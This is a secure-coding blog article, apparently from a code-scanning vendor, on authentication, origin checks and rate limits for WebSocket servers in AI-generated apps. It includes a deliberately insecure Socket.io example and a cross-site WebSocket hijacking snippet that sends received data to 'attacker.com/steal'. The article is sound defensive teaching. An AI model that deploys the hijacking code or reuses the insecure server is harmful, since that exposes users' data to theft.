WebSocket Security in Vibe-Coded Apps: Missing Authentication on Real-Time Connections - VibeDoctor 
← All Articles 📝 Code Patterns High

WebSocket Security in Vibe-Coded Apps: Missing Authentication on Real-Time Connections

AI tools set up WebSocket servers without authentication or origin checks. Learn how to secure real-time connections in your app.

SEC-001 SEC-004

Quick Answer

AI-generated WebSocket servers accept all connections without authentication, have no origin validation, and broadcast messages to all connected clients regardless of authorization. WebSocket connections bypass CORS, do not send cookies by default in all environments, and maintain persistent access once established. A single missing auth check means an attacker has a permanent open channel to your server.

Why WebSocket Security Gets Skipped

Real-time features are trending in AI-generated apps: live chat, collaborative editing, real-time dashboards, notifications. AI tools generate functional WebSocket servers quickly, but real-time connections have a fundamentally different security model than HTTP requests. Every HTTP request can be independently authenticated; a WebSocket connection is authenticated once at handshake and then stays open indefinitely.

According to OWASP, WebSocket connections bypass same-origin policy restrictions that protect HTTP requests. Any website can open a WebSocket connection to your server unless you explicitly validate the origin. The Portswigger Web Security Academy identifies cross-site WebSocket hijacking as a critical vulnerability class that is frequently overlooked.

A 2024 Snyk report on open-source security found that real-time communication libraries had a 34% year-over-year increase in reported vulnerabilities. As more AI-generated apps add real-time features, the attack surface grows proportionally.

The Default AI-Generated WebSocket Server

// ❌ BAD - AI's default Socket.io setup (no auth, no origin check)
import { Server } from 'socket.io';

const io = new Server(httpServer, {
  cors: { origin: '*' },  // Accepts connections from anywhere
});

io.on('connection', (socket) => {
  // No authentication check - anyone can connect

  socket.on('message', (data) => {
    // No authorization - broadcasts to everyone
    io.emit('message', data);
  });

  socket.on('getUsers', () => {
    // No auth - returns sensitive data to any connection
    const users = await db.query('SELECT * FROM users');
    socket.emit('users', users);
  });
});
// ✅ GOOD - Authenticated and authorized WebSocket server
import { Server } from 'socket.io';
import jwt from 'jsonwebtoken';

const io = new Server(httpServer, {
  cors: {
    origin: ['https://myapp.com', 'https://staging.myapp.com'],
    credentials: true,
  },
});

// Authenticate on connection
io.use((socket, next) => {
  const token = socket.handshake.auth.token;
  if (!token) return next(new Error('Authentication required'));
  try {
    const user = jwt.verify(token, process.env.JWT_SECRET, {
      algorithms: ['HS256'],
    });
    socket.user = user;
    next();
  } catch {
    next(new Error('Invalid token'));
  }
});

io.on('connection', (socket) => {
  // User is authenticated at this point
  // Join a user-specific room for targeted messages
  socket.join(`user:${socket.user.sub}`);

  socket.on('message', (data) => {
    // Only broadcast to the user's authorized channels
    const roomId = data.roomId;
    // Verify user has access to this room before broadcasting
    if (userCanAccessRoom(socket.user.sub, roomId)) {
      io.to(roomId).emit('message', { ...data, userId: socket.user.sub });
    }
  });
});

Cross-Site WebSocket Hijacking

WebSocket connections are not protected by CORS. When a browser opens a WebSocket connection, it sends cookies automatically. An attacker's website can open a WebSocket connection to your server, and the browser will send your users' session cookies along with it.

// Attacker's website opens a WebSocket to your server
// Browser sends the victim's cookies automatically
const ws = new WebSocket('wss://your-app.com/ws');
ws.onmessage = (event) => {
  // Attacker receives data meant for the victim
  fetch('https://attacker.com/steal', { method: 'POST', body: event.data });
};

Common WebSocket Vulnerabilities in AI Code

Vulnerability AI Default Fix
No auth on connection Accept all connections JWT/session validation in middleware
No origin validation cors: { origin: '*' } Whitelist specific origins
Broadcast to all clients io.emit() for everything Room-based messaging with authorization
No message validation Trust all incoming data Schema validation on every message
No rate limiting Unlimited messages per connection Per-connection message rate limits
No connection limits Unlimited connections per user Max connections per user/IP

Rate Limiting WebSocket Messages

Unlike HTTP endpoints, WebSocket connections are persistent. An attacker can send thousands of messages per second through a single connection. Without rate limiting, this becomes a denial-of-service vector.

// ✅ GOOD - Per-connection rate limiting
const rateLimitMap = new Map();

io.on('connection', (socket) => {
  rateLimitMap.set(socket.id, { count: 0, resetAt: Date.now() + 60000 });

  socket.use(([event, ...args], next) => {
    const limit = rateLimitMap.get(socket.id);
    if (Date.now() > limit.resetAt) {
      limit.count = 0;
      limit.resetAt = Date.now() + 60000;
    }
    limit.count++;
    if (limit.count > 100) {
      return next(new Error('Rate limit exceeded'));
    }
    next();
  });

  socket.on('disconnect', () => rateLimitMap.delete(socket.id));
});

How to Secure Your WebSocket Implementation

  1. Authenticate every connection in a Socket.io middleware or the ws library's upgrade handler. Never accept unauthenticated connections.
  2. Validate origins against a whitelist. Reject connections from unknown origins.
  3. Authorize every action. A connected user is authenticated but may not be authorized for every operation. Check permissions per event.
  4. Validate every message. Parse and validate incoming message payloads with Zod or similar before processing.
  5. Add rate limits per connection to prevent message flooding.
  6. Scan your codebase. Tools like VibeDoctor (vibedoctor.io) automatically detect unprotected API endpoints and missing CORS configuration in your codebase. Free to sign up.

FAQ

Is Socket.io more secure than raw WebSockets?

Socket.io provides middleware hooks that make it easier to add authentication and authorization. Raw WebSocket (ws library) requires handling auth in the HTTP upgrade event, which is more manual but equally secure when done correctly. Neither is inherently more secure - both require explicit security implementation.

Should I use WSS (WebSocket Secure) in production?

Absolutely. Always use wss:// (WebSocket over TLS) in production. Without TLS, WebSocket traffic is transmitted in plaintext, and any intermediate network can intercept or modify messages. If your site uses HTTPS (which it should), your WebSocket connections should use WSS.

How do I authenticate WebSockets when cookies are not sent?

Send the authentication token in the connection handshake: io({ auth: { token: 'jwt-token' } }) for Socket.io, or in a URL query parameter or first message for raw WebSockets. The server validates the token in the connection middleware before accepting the connection.

Can WebSockets be used for DDoS attacks?

Yes. WebSocket connections consume server resources (memory, file descriptors) proportional to the number of open connections. An attacker can open thousands of connections without sending any messages. Implement per-IP connection limits, idle timeouts, and maximum concurrent connection thresholds to mitigate this.

Scan your codebase for this issue - free

VibeDoctor checks for SEC-001, SEC-004 and 128 other issues across 15 diagnostic areas.

SCAN MY APP →
← Back to all articles View all 129+ checks →